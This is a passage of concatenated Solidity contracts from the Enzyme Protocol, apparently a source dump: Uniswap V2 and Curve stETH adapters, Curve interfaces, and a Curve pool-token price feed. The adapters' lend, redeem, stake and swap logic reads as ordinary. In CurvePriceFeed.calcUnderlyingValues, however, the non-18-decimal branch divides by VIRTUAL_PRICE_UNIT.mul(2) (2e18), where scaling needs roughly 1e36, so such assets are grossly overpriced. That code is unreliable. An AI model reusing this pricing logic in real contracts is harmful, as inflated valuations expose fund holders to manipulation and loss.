incomingAssets_[0] = IUniswapV2Factory(FACTORY).getPair(
outgoingAssets[0],
outgoingAssets[1]
);
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
} else if (_selector == REDEEM_SELECTOR) {
(
uint256 outgoingAssetAmount,
address[2] memory incomingAssets,
uint256[2] memory minIncomingAssetAmounts
) = __decodeRedeemCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
// No need to validate not address(0), this will be caught in IntegrationManager
spendAssets_[0] = IUniswapV2Factory(FACTORY).getPair(
incomingAssets[0],
incomingAssets[1]
);
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
incomingAssets_ = new address[](2);
incomingAssets_[0] = incomingAssets[0];
incomingAssets_[1] = incomingAssets[1];
minIncomingAssetAmounts_ = new uint256[](2);
minIncomingAssetAmounts_[0] = minIncomingAssetAmounts[0];
minIncomingAssetAmounts_[1] = minIncomingAssetAmounts[1];
} else if (_selector == TAKE_ORDER_SELECTOR) {
(
address[] memory path,
uint256 outgoingAssetAmount,
uint256 minIncomingAssetAmount
) = __decodeTakeOrderCallArgs(_encodedCallArgs);
require(path.length >= 2, "parseAssetsForMethod: _path must be >= 2");
spendAssets_ = new address[](1);
spendAssets_[0] = path[0];
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = path[path.length - 1];
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
} else {
revert("parseAssetsForMethod: _selector invalid");
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Lends assets for pool tokens on Uniswap
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lend(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
address[2] memory outgoingAssets,
uint256[2] memory maxOutgoingAssetAmounts,
uint256[2] memory minOutgoingAssetAmounts,
) = __decodeLendCallArgs(_encodedCallArgs);
__lend(
_vaultProxy,
outgoingAssets[0],
outgoingAssets[1],
maxOutgoingAssetAmounts[0],
maxOutgoingAssetAmounts[1],
minOutgoingAssetAmounts[0],
minOutgoingAssetAmounts[1]
);
}
/// @notice Redeems pool tokens on Uniswap
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function redeem(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
uint256 outgoingAssetAmount,
address[2] memory incomingAssets,
uint256[2] memory minIncomingAssetAmounts
) = __decodeRedeemCallArgs(_encodedCallArgs);
// More efficient to parse pool token from _encodedAssetTransferArgs than external call
(, address[] memory spendAssets, , ) = __decodeEncodedAssetTransferArgs(
_encodedAssetTransferArgs
);
__redeem(
_vaultProxy,
spendAssets[0],
outgoingAssetAmount,
incomingAssets[0],
incomingAssets[1],
minIncomingAssetAmounts[0],
minIncomingAssetAmounts[1]
);
}
/// @notice Trades assets on Uniswap
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
address[] memory path,
uint256 outgoingAssetAmount,
uint256 minIncomingAssetAmount
) = __decodeTakeOrderCallArgs(_encodedCallArgs);
__takeOrder(_vaultProxy, outgoingAssetAmount, minIncomingAssetAmount, path);
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the lend encoded call arguments
function __decodeLendCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address[2] memory outgoingAssets_,
uint256[2] memory maxOutgoingAssetAmounts_,
uint256[2] memory minOutgoingAssetAmounts_,
uint256 minIncomingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (address[2], uint256[2], uint256[2], uint256));
}
/// @dev Helper to decode the redeem encoded call arguments
function __decodeRedeemCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
uint256 outgoingAssetAmount_,
address[2] memory incomingAssets_,
uint256[2] memory minIncomingAssetAmounts_
)
{
return abi.decode(_encodedCallArgs, (uint256, address[2], uint256[2]));
}
/// @dev Helper to decode the take order encoded call arguments
function __decodeTakeOrderCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address[] memory path_,
uint256 outgoingAssetAmount_,
uint256 minIncomingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (address[], uint256, uint256));
}
/// @dev Helper to execute lend. Avoids stack-too-deep error.
function __lend(
address _vaultProxy,
address _tokenA,
address _tokenB,
uint256 _amountADesired,
uint256 _amountBDesired,
uint256 _amountAMin,
uint256 _amountBMin
) private {
__approveMaxAsNeeded(_tokenA, ROUTER, _amountADesired);
__approveMaxAsNeeded(_tokenB, ROUTER, _amountBDesired);
// Execute lend on Uniswap
IUniswapV2Router2(ROUTER).addLiquidity(
_tokenA,
_tokenB,
_amountADesired,
_amountBDesired,
_amountAMin,
_amountBMin,
_vaultProxy,
block.timestamp.add(1)
);
}
/// @dev Helper to execute redeem. Avoids stack-too-deep error.
function __redeem(
address _vaultProxy,
address _poolToken,
uint256 _poolTokenAmount,
address _tokenA,
address _tokenB,
uint256 _amountAMin,
uint256 _amountBMin
) private {
__approveMaxAsNeeded(_poolToken, ROUTER, _poolTokenAmount);
// Execute redeem on Uniswap
IUniswapV2Router2(ROUTER).removeLiquidity(
_tokenA,
_tokenB,
_poolTokenAmount,
_amountAMin,
_amountBMin,
_vaultProxy,
block.timestamp.add(1)
);
}
/// @dev Helper to execute takeOrder. Avoids stack-too-deep error.
function __takeOrder(
address _vaultProxy,
uint256 _outgoingAssetAmount,
uint256 _minIncomingAssetAmount,
address[] memory _path
) private {
__approveMaxAsNeeded(_path[0], ROUTER, _outgoingAssetAmount);
// Execute fill
IUniswapV2Router2(ROUTER).swapExactTokensForTokens(
_outgoingAssetAmount,
_minIncomingAssetAmount,
_path,
_vaultProxy,
block.timestamp.add(1)
);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `FACTORY` variable
/// @return factory_ The `FACTORY` variable value
function getFactory() external view returns (address factory_) {
return FACTORY;
}
/// @notice Gets the `ROUTER` variable
/// @return router_ The `ROUTER` variable value
function getRouter() external view returns (address router_) {
return ROUTER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title UniswapV2Router2 Interface
/// @author Enzyme Council <[email protected]>
/// @dev Minimal interface for our interactions with Uniswap V2's Router2
interface IUniswapV2Router2 {
function addLiquidity(
address,
address,
uint256,
uint256,
uint256,
uint256,
address,
uint256
)
external
returns (
uint256,
uint256,
uint256
);
function removeLiquidity(
address,
address,
uint256,
uint256,
uint256,
address,
uint256
) external returns (uint256, uint256);
function swapExactTokensForTokens(
uint256,
uint256,
address[] calldata,
address,
uint256
) external returns (uint256[] memory);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../interfaces/ICurveAddressProvider.sol";
import "../../../../interfaces/ICurveLiquidityGaugeToken.sol";
import "../../../../interfaces/ICurveLiquidityPool.sol";
import "../../../../interfaces/ICurveRegistry.sol";
import "../../../utils/DispatcherOwnerMixin.sol";
import "../IDerivativePriceFeed.sol";
/// @title CurvePriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price feed for Curve pool tokens
contract CurvePriceFeed is IDerivativePriceFeed, DispatcherOwnerMixin {
using SafeMath for uint256;
event DerivativeAdded(
address indexed derivative,
address indexed pool,
address indexed invariantProxyAsset,
uint256 invariantProxyAssetDecimals
);
event DerivativeRemoved(address indexed derivative);
// Both pool tokens and liquidity gauge tokens are treated the same for pricing purposes.
// We take one asset as representative of the pool's invariant, e.g., WETH for ETH-based pools.
struct DerivativeInfo {
address pool;
address invariantProxyAsset;
uint256 invariantProxyAssetDecimals;
}
uint256 private constant VIRTUAL_PRICE_UNIT = 10**18;
address private immutable ADDRESS_PROVIDER;
mapping(address => DerivativeInfo) private derivativeToInfo;
constructor(address _dispatcher, address _addressProvider)
public
DispatcherOwnerMixin(_dispatcher)
{
ADDRESS_PROVIDER = _addressProvider;
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
public
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
DerivativeInfo memory derivativeInfo = derivativeToInfo[_derivative];
require(
derivativeInfo.pool != address(0),
"calcUnderlyingValues: _derivative is not supported"
);
underlyings_ = new address[](1);
underlyings_[0] = derivativeInfo.invariantProxyAsset;
underlyingAmounts_ = new uint256[](1);
if (derivativeInfo.invariantProxyAssetDecimals == 18) {
underlyingAmounts_[0] = _derivativeAmount
.mul(ICurveLiquidityPool(derivativeInfo.pool).get_virtual_price())
.div(VIRTUAL_PRICE_UNIT);
} else {
underlyingAmounts_[0] = _derivativeAmount
.mul(ICurveLiquidityPool(derivativeInfo.pool).get_virtual_price())
.mul(10**derivativeInfo.invariantProxyAssetDecimals)
.div(VIRTUAL_PRICE_UNIT.mul(2));
}
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return derivativeToInfo[_asset].pool != address(0);
}
//////////////////////////
// DERIVATIVES REGISTRY //
//////////////////////////
/// @notice Adds Curve LP and/or liquidity gauge tokens to the price feed
/// @param _derivatives Curve LP and/or liquidity gauge tokens to add
/// @param _invariantProxyAssets The ordered assets that act as proxies to the pool invariants,
/// corresponding to each item in _derivatives, e.g., WETH for ETH-based pools
function addDerivatives(
address[] calldata _derivatives,
address[] calldata _invariantProxyAssets
) external onlyDispatcherOwner {
require(_derivatives.length > 0, "addDerivatives: Empty _derivatives");
require(
_derivatives.length == _invariantProxyAssets.length,
"addDerivatives: Unequal arrays"
);
for (uint256 i; i < _derivatives.length; i++) {
require(_derivatives[i] != address(0), "addDerivatives: Empty derivative");
require(
_invariantProxyAssets[i] != address(0),
"addDerivatives: Empty invariantProxyAsset"
);
require(!isSupportedAsset(_derivatives[i]), "addDerivatives: Value already set");
// First, try assuming that the derivative is an LP token
ICurveRegistry curveRegistryContract = ICurveRegistry(
ICurveAddressProvider(ADDRESS_PROVIDER).get_registry()
);
address pool = curveRegistryContract.get_pool_from_lp_token(_derivatives[i]);
// If the derivative is not a valid LP token, try to treat it as a liquidity gauge token
if (pool == address(0)) {
// We cannot confirm whether a liquidity gauge token is a valid token
// for a particular liquidity gauge, due to some pools using
// old liquidity gauge contracts that did not incorporate a token
pool = curveRegistryContract.get_pool_from_lp_token(
ICurveLiquidityGaugeToken(_derivatives[i]).lp_token()
);
// Likely unreachable as above calls will revert on Curve, but doesn't hurt
require(
pool != address(0),
"addDerivatives: Not a valid LP token or liquidity gauge token"
);
}
uint256 invariantProxyAssetDecimals = ERC20(_invariantProxyAssets[i]).decimals();
derivativeToInfo[_derivatives[i]] = DerivativeInfo({
pool: pool,
invariantProxyAsset: _invariantProxyAssets[i],
invariantProxyAssetDecimals: invariantProxyAssetDecimals
});
// Confirm that a non-zero price can be returned for the registered derivative
(, uint256[] memory underlyingAmounts) = calcUnderlyingValues(
_derivatives[i],
1 ether
);
require(underlyingAmounts[0] > 0, "addDerivatives: could not calculate valid price");
emit DerivativeAdded(
_derivatives[i],
pool,
_invariantProxyAssets[i],
invariantProxyAssetDecimals
);
}
}
/// @notice Removes Curve LP and/or liquidity gauge tokens from the price feed
/// @param _derivatives Curve LP and/or liquidity gauge tokens to add
function removeDerivatives(address[] calldata _derivatives) external onlyDispatcherOwner {
require(_derivatives.length > 0, "removeDerivatives: Empty _derivatives");
for (uint256 i; i < _derivatives.length; i++) {
require(_derivatives[i] != address(0), "removeDerivatives: Empty derivative");
require(isSupportedAsset(_derivatives[i]), "removeDerivatives: Value is not set");
delete derivativeToInfo[_derivatives[i]];
emit DerivativeRemoved(_derivatives[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `ADDRESS_PROVIDER` variable
/// @return addressProvider_ The `ADDRESS_PROVIDER` variable value
function getAddressProvider() external view returns (address addressProvider_) {
return ADDRESS_PROVIDER;
}
/// @notice Gets the `DerivativeInfo` for a given derivative
/// @param _derivative The derivative for which to get the `DerivativeInfo`
/// @return derivativeInfo_ The `DerivativeInfo` value
function getDerivativeInfo(address _derivative)
external
view
returns (DerivativeInfo memory derivativeInfo_)
{
return derivativeToInfo[_derivative];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveAddressProvider interface
/// @author Enzyme Council <[email protected]>
interface ICurveAddressProvider {
function get_address(uint256) external view returns (address);
function get_registry() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveLiquidityGaugeToken interface
/// @author Enzyme Council <[email protected]>
/// @notice Common interface functions for all Curve liquidity gauge token contracts
interface ICurveLiquidityGaugeToken {
function lp_token() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveLiquidityPool interface
/// @author Enzyme Council <[email protected]>
interface ICurveLiquidityPool {
function coins(uint256) external view returns (address);
function get_virtual_price() external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveRegistry interface
/// @author Enzyme Council <[email protected]>
interface ICurveRegistry {
function get_gauges(address) external view returns (address[10] memory, int128[10] memory);
function get_lp_token(address) external view returns (address);
function get_pool_from_lp_token(address) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../interfaces/ICurveAddressProvider.sol";
import "../../../../interfaces/ICurveLiquidityGaugeV2.sol";
import "../../../../interfaces/ICurveLiquidityPool.sol";
import "../../../../interfaces/ICurveRegistry.sol";
import "../../../../interfaces/ICurveStableSwapSteth.sol";
import "../../../../interfaces/IWETH.sol";
import "../utils/AdapterBase2.sol";
/// @title CurveLiquidityStethAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for liquidity provision in Curve's steth pool (https://www.curve.fi/steth)
contract CurveLiquidityStethAdapter is AdapterBase2 {
int128 private constant POOL_INDEX_ETH = 0;
int128 private constant POOL_INDEX_STETH = 1;
address private immutable LIQUIDITY_GAUGE_TOKEN;
address private immutable LP_TOKEN;
address private immutable POOL;
address private immutable STETH_TOKEN;
address private immutable WETH_TOKEN;
constructor(
address _integrationManager,
address _liquidityGaugeToken,
address _lpToken,
address _pool,
address _stethToken,
address _wethToken
) public AdapterBase2(_integrationManager) {
LIQUIDITY_GAUGE_TOKEN = _liquidityGaugeToken;
LP_TOKEN = _lpToken;
POOL = _pool;
STETH_TOKEN = _stethToken;
WETH_TOKEN = _wethToken;
// Max approve contracts to spend relevant tokens
ERC20(_lpToken).safeApprove(_liquidityGaugeToken, type(uint256).max);
ERC20(_stethToken).safeApprove(_pool, type(uint256).max);
}
/// @dev Needed to receive ETH from redemption and to unwrap WETH
receive() external payable {}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "CURVE_LIQUIDITY_STETH";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
if (_selector == LEND_SELECTOR || _selector == LEND_AND_STAKE_SELECTOR) {
(
uint256 outgoingWethAmount,
uint256 outgoingStethAmount,
uint256 minIncomingAssetAmount
) = __decodeLendCallArgs(_encodedCallArgs);
if (outgoingWethAmount > 0 && outgoingStethAmount > 0) {
spendAssets_ = new address[](2);
spendAssets_[0] = WETH_TOKEN;
spendAssets_[1] = STETH_TOKEN;
spendAssetAmounts_ = new uint256[](2);
spendAssetAmounts_[0] = outgoingWethAmount;
spendAssetAmounts_[1] = outgoingStethAmount;
} else if (outgoingWethAmount > 0) {
spendAssets_ = new address[](1);
spendAssets_[0] = WETH_TOKEN;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingWethAmount;
} else {
spendAssets_ = new address[](1);
spendAssets_[0] = STETH_TOKEN;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingStethAmount;
}
incomingAssets_ = new address[](1);
if (_selector == LEND_SELECTOR) {
incomingAssets_[0] = LP_TOKEN;
} else {
incomingAssets_[0] = LIQUIDITY_GAUGE_TOKEN;
}
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
} else if (_selector == REDEEM_SELECTOR || _selector == UNSTAKE_AND_REDEEM_SELECTOR) {
(
uint256 outgoingAssetAmount,
uint256 minIncomingWethAmount,
uint256 minIncomingStethAmount,
bool receiveSingleAsset
) = __decodeRedeemCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
if (_selector == REDEEM_SELECTOR) {
spendAssets_[0] = LP_TOKEN;
} else {
spendAssets_[0] = LIQUIDITY_GAUGE_TOKEN;
}
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
if (receiveSingleAsset) {
incomingAssets_ = new address[](1);
minIncomingAssetAmounts_ = new uint256[](1);
if (minIncomingWethAmount == 0) {
require(
minIncomingStethAmount > 0,
"parseAssetsForMethod: No min asset amount specified for receiveSingleAsset"
);
incomingAssets_[0] = STETH_TOKEN;
minIncomingAssetAmounts_[0] = minIncomingStethAmount;
} else {
require(
minIncomingStethAmount == 0,
"parseAssetsForMethod: Too many min asset amounts specified for receiveSingleAsset"
);
incomingAssets_[0] = WETH_TOKEN;
minIncomingAssetAmounts_[0] = minIncomingWethAmount;
}
} else {
incomingAssets_ = new address[](2);
incomingAssets_[0] = WETH_TOKEN;
incomingAssets_[1] = STETH_TOKEN;
minIncomingAssetAmounts_ = new uint256[](2);
minIncomingAssetAmounts_[0] = minIncomingWethAmount;
minIncomingAssetAmounts_[1] = minIncomingStethAmount;
}
} else if (_selector == STAKE_SELECTOR) {
uint256 outgoingLPTokenAmount = __decodeStakeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = LP_TOKEN;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingLPTokenAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = LIQUIDITY_GAUGE_TOKEN;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = outgoingLPTokenAmount;
} else if (_selector == UNSTAKE_SELECTOR) {
uint256 outgoingLiquidityGaugeTokenAmount = __decodeUnstakeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = LIQUIDITY_GAUGE_TOKEN;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingLiquidityGaugeTokenAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = LP_TOKEN;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = outgoingLiquidityGaugeTokenAmount;
} else {
revert("parseAssetsForMethod: _selector invalid");
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Lends assets for steth LP tokens
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lend(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
uint256 outgoingWethAmount,
uint256 outgoingStethAmount,
uint256 minIncomingLiquidityGaugeTokenAmount
) = __decodeLendCallArgs(_encodedCallArgs);
__lend(outgoingWethAmount, outgoingStethAmount, minIncomingLiquidityGaugeTokenAmount);
}
/// @notice Lends assets for steth LP tokens, then stakes the received LP tokens
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lendAndStake(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
uint256 outgoingWethAmount,
uint256 outgoingStethAmount,
uint256 minIncomingLiquidityGaugeTokenAmount
) = __decodeLendCallArgs(_encodedCallArgs);
__lend(outgoingWethAmount, outgoingStethAmount, minIncomingLiquidityGaugeTokenAmount);
__stake(ERC20(LP_TOKEN).balanceOf(address(this)));
}
/// @notice Redeems steth LP tokens
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function redeem(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
uint256 outgoingLPTokenAmount,
uint256 minIncomingWethAmount,
uint256 minIncomingStethAmount,
bool redeemSingleAsset
) = __decodeRedeemCallArgs(_encodedCallArgs);
__redeem(
outgoingLPTokenAmount,
minIncomingWethAmount,
minIncomingStethAmount,
redeemSingleAsset
);
}
/// @notice Stakes steth LP tokens
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function stake(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
uint256 outgoingLPTokenAmount = __decodeStakeCallArgs(_encodedCallArgs);
__stake(outgoingLPTokenAmount);
}
/// @notice Unstakes steth LP tokens
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function unstake(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
uint256 outgoingLiquidityGaugeTokenAmount = __decodeUnstakeCallArgs(_encodedCallArgs);
__unstake(outgoingLiquidityGaugeTokenAmount);
}
/// @notice Unstakes steth LP tokens, then redeems them
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function unstakeAndRedeem(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
uint256 outgoingLiquidityGaugeTokenAmount,
uint256 minIncomingWethAmount,
uint256 minIncomingStethAmount,
bool redeemSingleAsset
) = __decodeRedeemCallArgs(_encodedCallArgs);
__unstake(outgoingLiquidityGaugeTokenAmount);
__redeem(
outgoingLiquidityGaugeTokenAmount,
minIncomingWethAmount,
minIncomingStethAmount,
redeemSingleAsset
);
}
// PRIVATE FUNCTIONS
/// @dev Helper to execute lend
function __lend(
uint256 _outgoingWethAmount,
uint256 _outgoingStethAmount,
uint256 _minIncomingLPTokenAmount
) private {
if (_outgoingWethAmount > 0) {
IWETH((WETH_TOKEN)).withdraw(_outgoingWethAmount);
}
ICurveStableSwapSteth(POOL).add_liquidity{value: _outgoingWethAmount}(
[_outgoingWethAmount, _outgoingStethAmount],
_minIncomingLPTokenAmount
);
}
/// @dev Helper to execute redeem
function __redeem(
uint256 _outgoingLPTokenAmount,
uint256 _minIncomingWethAmount,
uint256 _minIncomingStethAmount,
bool _redeemSingleAsset
) private {
if (_redeemSingleAsset) {
// "_minIncomingWethAmount > 0 XOR _minIncomingStethAmount > 0" has already been
// validated in parseAssetsForMethod()
if (_minIncomingWethAmount > 0) {
ICurveStableSwapSteth(POOL).remove_liquidity_one_coin(
_outgoingLPTokenAmount,
POOL_INDEX_ETH,
_minIncomingWethAmount
);
IWETH(payable(WETH_TOKEN)).deposit{value: payable(address(this)).balance}();
} else {
ICurveStableSwapSteth(POOL).remove_liquidity_one_coin(
_outgoingLPTokenAmount,
POOL_INDEX_STETH,
_minIncomingStethAmount
);
}
} else {
ICurveStableSwapSteth(POOL).remove_liquidity(
_outgoingLPTokenAmount,
[_minIncomingWethAmount, _minIncomingStethAmount]
);
IWETH(payable(WETH_TOKEN)).deposit{value: payable(address(this)).balance}();
}
}
/// @dev Helper to execute stake
function __stake(uint256 _lpTokenAmount) private {
ICurveLiquidityGaugeV2(LIQUIDITY_GAUGE_TOKEN).deposit(_lpTokenAmount, address(this));
}
/// @dev Helper to execute unstake
function __unstake(uint256 _liquidityGaugeTokenAmount) private {
ICurveLiquidityGaugeV2(LIQUIDITY_GAUGE_TOKEN).withdraw(_liquidityGaugeTokenAmount);
}
///////////////////////
// ENCODED CALL ARGS //
///////////////////////
/// @dev Helper to decode the encoded call arguments for lending
function __decodeLendCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
uint256 outgoingWethAmount_,
uint256 outgoingStethAmount_,
uint256 minIncomingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (uint256, uint256, uint256));
}
/// @dev Helper to decode the encoded call arguments for redeeming.
/// If `receiveSingleAsset_` is `true`, then one (and only one) of
/// `minIncomingWethAmount_` and `minIncomingStethAmount_` must be >0
/// to indicate which asset is to be received.
function __decodeRedeemCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
uint256 outgoingAssetAmount_,
uint256 minIncomingWethAmount_,
uint256 minIncomingStethAmount_,
bool receiveSingleAsset_
)
{
return abi.decode(_encodedCallArgs, (uint256, uint256, uint256, bool));
}
/// @dev Helper to decode the encoded call arguments for staking
function __decodeStakeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (uint256 outgoingLPTokenAmount_)
{
return abi.decode(_encodedCallArgs, (uint256));
}
/// @dev Helper to decode the encoded call arguments for unstaking
function __decodeUnstakeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (uint256 outgoingLiquidityGaugeTokenAmount_)
{
return abi.decode(_encodedCallArgs, (uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `LIQUIDITY_GAUGE_TOKEN` variable
/// @return liquidityGaugeToken_ The `LIQUIDITY_GAUGE_TOKEN` variable value
function getLiquidityGaugeToken() external view returns (address liquidityGaugeToken_) {
return LIQUIDITY_GAUGE_TOKEN;
}
/// @notice Gets the `LP_TOKEN` variable
/// @return lpToken_ The `LP_TOKEN` variable value
function getLPToken() external view returns (address lpToken_) {
return LP_TOKEN;
}
/// @notice Gets the `POOL` variable
/// @return pool_ The `POOL` variable value
function getPool() external view returns (address pool_) {
return POOL;
}
/// @notice Gets the `STETH_TOKEN` variable
/// @return stethToken_ The `STETH_TOKEN` variable value
function getStethToken() external view returns (address stethToken_) {
return STETH_TOKEN;
}
